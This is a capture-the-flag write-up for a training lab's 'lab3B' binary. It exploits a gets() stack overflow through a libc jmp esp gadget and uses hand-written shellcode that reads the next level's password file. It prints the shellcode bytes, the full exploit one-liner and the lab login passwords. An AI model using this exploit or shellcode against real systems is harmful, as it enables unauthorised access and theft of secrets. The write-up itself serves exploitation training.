Lab3B Write-up (Medium)
First, log into the Lab03 as Lab3B (lab3B:th3r3_iz_n0_4dm1ns_0n1y_U!
) and go to the challenges folder:
$ ssh lab3B@<VM_IP>
$ cd /levels/lab03/
Let’s execute the program:
lab3B@warzone:/levels/lab03$ ./lab3B
just give me some shellcode, k
TEST
child is exiting...
Here, the program just asks for a shellcode.
Source Code Analysis
Let’s check the code to see if we can find a bug.
ENABLE_TIMEOUT(60)
int main()
{
pid_t child = fork();
char buffer[128] = {0};
int syscall = 0;
int status = 0;
if(child == 0)
{
prctl(PR_SET_PDEATHSIG, SIGHUP);
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
puts("just give me some shellcode, k");
gets(buffer);
}
else
{
while(1)
{
wait(&status);
if (WIFEXITED(status) || WIFSIGNALED(status)){
puts("child is exiting...");
break;
}
syscall = ptrace(PTRACE_PEEKUSER, child, 4 * ORIG_EAX, NULL);
/* filter out syscall 11, exec */
if(syscall == 11)
{
printf("no exec() for you\n");
kill(child, SIGKILL);
break;
}
}
}
return EXIT_SUCCESS;
}
Not much to say here, we have a 128 bytes buffer and we can’t use the execve() (syscall 11) to call a /bin/bash. As the gets() function doesn’t check the size of the input buffer, we can easily overflow the stack.
Dynamic Analysis
First things first, let’s find the offset of the return address in gdb
.
lab3B@warzone:/levels/lab03$ gdb lab3B
Reading symbols from lab3B...(no debugging symbols found)...done.
gdb-peda$ pattern create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%'
gdb-peda$ run
Starting program: /levels/lab03/lab3B
[New process 3108]
just give me some shellcode, k
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.19.so...done.
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 3108]
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x6e414152 ('RAAn')
ECX: 0xfbad2288
EDX: 0xb7fce8a4 --> 0x0
ESI: 0x0
EDI: 0x41534141 ('AASA')
EBP: 0x41416f41 ('AoAA')
ESP: 0xbffff700 ("AAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%")
EIP: 0x70414154 ('TAAp')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x70414154
[------------------------------------stack-------------------------------------]
0000| 0xbffff700 ("AAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%")
0004| 0xbffff704 ("AqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%")
0008| 0xbffff708 ("VAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%")
0012| 0xbffff70c ("AAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%")
0016| 0xbffff710 ("AsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%")
0020| 0xbffff714 ("XAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%")
0024| 0xbffff718 ("AAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%")
0028| 0xbffff71c ("AuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x70414154 in ?? ()
gdb-peda$ pattern search
Registers contain pattern buffer:
EIP+0 found at offset: 156
EBX+0 found at offset: 144
EDI+0 found at offset: 148
EBP+0 found at offset: 152
Registers point to pattern buffer:
[ESP] --> offset 160 - size ~140
...[snip]...
It seems that we have to write 156 bytes before overwriting the return address. Let’s try that!
gdb-peda$ r < <(python -c 'print 156 * "\x41" + "\x42\x42\x42\x42" + 150 * "\x43"')
Starting program: /levels/lab03/lab3B < <(python -c 'print 156 * "\x41" + "\x42\x42\x42\x42" + 150 * "\x43"')
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.
[New process 3113]
just give me some shellcode, k
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.19.so...done.
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 3113]
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0xfbad2088
EDX: 0xb7fce8a4 --> 0x0
ESI: 0x0
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff700 ('C' <repeats 150 times>)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff700 ('C' <repeats 150 times>)
0004| 0xbffff704 ('C' <repeats 146 times>)
0008| 0xbffff708 ('C' <repeats 142 times>)
0012| 0xbffff70c ('C' <repeats 138 times>)
0016| 0xbffff710 ('C' <repeats 134 times>)
0020| 0xbffff714 ('C' <repeats 130 times>)
0024| 0xbffff718 ('C' <repeats 126 times>)
0028| 0xbffff71c ('C' <repeats 122 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$
Now, we have the control of the return address, we also can put lots of data after the return address. Here, we could add our shellcode right after the return address and overwrite the return address with a pointer to the instruction jmp esp
.
By doing it that way, we will avoid using a massive amount of NOP instructions and we won’t have to try multiple return address once outside gdb
. Indeed, don’t forget that the stack addresses will be different outside gdb
, if we hardcode a stack address as return address, the exploit could fail.
However, do we have jmp esp
somewhere in the executable. gdb
with PEDA allows use to use a function called jmpcall
that search for JMP/CALL instructions in memory.
gdb-peda$ jmpcall
0x8048866 : call eax
0x80488a3 : call edx
0x80488ef : call eax
0x8048c5f : jmp [edx]
0x8048c9f : call [ecx]
0x8049866 : call eax
0x80498a3 : call edx
0x80498ef : call eax
0x8049c5f : jmp [edx]
0x8049c9f : call [ecx]
No luck… but let’s check how jmpcall
works:
gdb-peda$ help jmpcall
Search for JMP/CALL instructions in memory
Usage:
jmpcall (search all JMP/CALL in current binary)
jmpcall reg [mapname]
jmpcall reg start end
Ah! It only scanned the binary! Given libc is likely to be loaded in our process, let’s find its address ranges and try again.
gdb-peda$ info file
Symbols from "/levels/lab03/lab3B".
Native process:
Using the running image of child process 2062.
While running this, GDB does not access memory from...
Local exec file:
`/levels/lab03/lab3B', file type elf32-i386.
Entry point: 0x8048800
0x08048134 - 0x08048147 is .interp
...[snip]...
0xb7e3a420 - 0xb7f6bb6e is .text in /lib/i386-linux-gnu/libc.so.6
...[snip]...
gdb-peda$ jmpcall esp 0xb7e3a420 0xb7f6bb6e
0xb7f0b1cd : jmp esp
Awesome! We have the right instruction at 0xb7f0b1cd
, where the .text section of libc is loaded. Now, we can write our shellcode.
Shellcoding
Here, one of the solution would be to write a shellcode that read the file containing the password and display it on the screen. Here is what I’ve done, with some comments :)
global _start
_start:
; int open(const char *pathname, int flags);
; EBX = *pathname
; ECX = flags
xor ecx, ecx ; flags = read only
push ecx ; null byte to end the path string
; push "/home/lab3B/.pass" in reverse order
push "pass"
push "3A/."
push "/lab"
push "home"
push "////"
mov ebx, esp ; move the string pointer in EBX
xor eax, eax
mov al, 5 ; sys_open()
int 0x80
mov edi, eax ; save the file handler
; We read the file
; read(int fd, void *buf, size_t count);
; EBX = fd
; ECX = *buf
; EDX = count
xor edx, edx
mov dl, 0x32 ; read 50 Bytes to the stack (just a guess)
mov ecx, esp
mov ebx, edi ; move fd in ebx
mov al, 3 ; sys_read()
int 0x80
; We write the data in stdout
; write(int fd, const void *buf, size_t count);
; EBX = fd
; ECX = *buf
; EDX = count
mov bl, 1 ; stdout
mov al, 4 ; sys_write()
int 0x80
Note The Warzone VM doesn’t have NASM installed, so I did the development on another Linux 32bit VM.
You can now create a file and assemble it.
nano read_shellcode.asm
nasm -f elf read_shellcode.asm
ld -o read_shellcode read_shellcode.o
Then, we can check the code and generate a shellcode.
$ objdump -M intel -d read_shellcode
read_shellcode: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c9 xor ecx,ecx
8048062: 51 push ecx
8048063: 68 70 61 73 73 push 0x73736170
8048068: 68 33 41 2f 2e push 0x2e2f4133
804806d: 68 2f 6c 61 62 push 0x62616c2f
8048072: 68 68 6f 6d 65 push 0x656d6f68
8048077: 68 2f 2f 2f 2f push 0x2f2f2f2f
804807c: 89 e3 mov ebx,esp
804807e: 31 c0 xor eax,eax
8048080: b0 05 mov al,0x5
8048082: cd 80 int 0x80
8048084: 89 c7 mov edi,eax
8048086: 31 d2 xor edx,edx
8048088: b2 32 mov dl,0x32
804808a: 89 e1 mov ecx,esp
804808c: 89 fb mov ebx,edi
804808e: b0 03 mov al,0x3
8048090: cd 80 int 0x80
8048092: b3 01 mov bl,0x1
8048094: b0 04 mov al,0x4
8048096: cd 80 int 0x80
# Quick trick to extract the shellcode from the binary
$ for i in $(objdump -d read_shellcode -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
\x31\xc9\x51\x68\x70\x61\x73\x73\x68\x33\x41\x2f\x2e\x68\x2f\x6c\x61\x62\x68\x68\x6f\x6d\x65\x68\x2f\x2f\x2f\x2f\x89\xe3\x31\xc0\xb0\x05\xcd\x80\x89\xc7\x31\xd2\xb2\x32\x89\xe1\x89\xfb\xb0\x03\xcd\x80\xb3\x01\xb0\x04\xcd\x80
We have our shellcode, now we can solve the challenge!
Solution
Here, as we saw earlier, we will use the jmp esp
address we found in libc as return address:
lab3B@warzone:/levels/lab03$ python -c 'exploit = 156 * "\x90" + "\xcd\xb1\xf0\xb7" + "\x31\xc9\x51\x68\x70\x61\x73\x73\x68\x33\x41\x2f\x2e\x68\x2f\x6c\x61\x62\x68\x68\x6f\x6d\x65\x68\x2f\x2f\x2f\x2f\x89\xe3\x31\xc0\xb0\x05\xcd\x80\x89\xc7\x31\xd2\xb2\x32\x89\xe1\x89\xfb\xb0\x03\xcd\x80\xb3\x01\xb0\x04\xcd\x80" ; print exploit + "\n"' | ./lab3B
just give me some shellcode, k
wh0_n33ds_5h3ll3_wh3n_U_h4z_s4nd
Good job! You can go to the next challenge!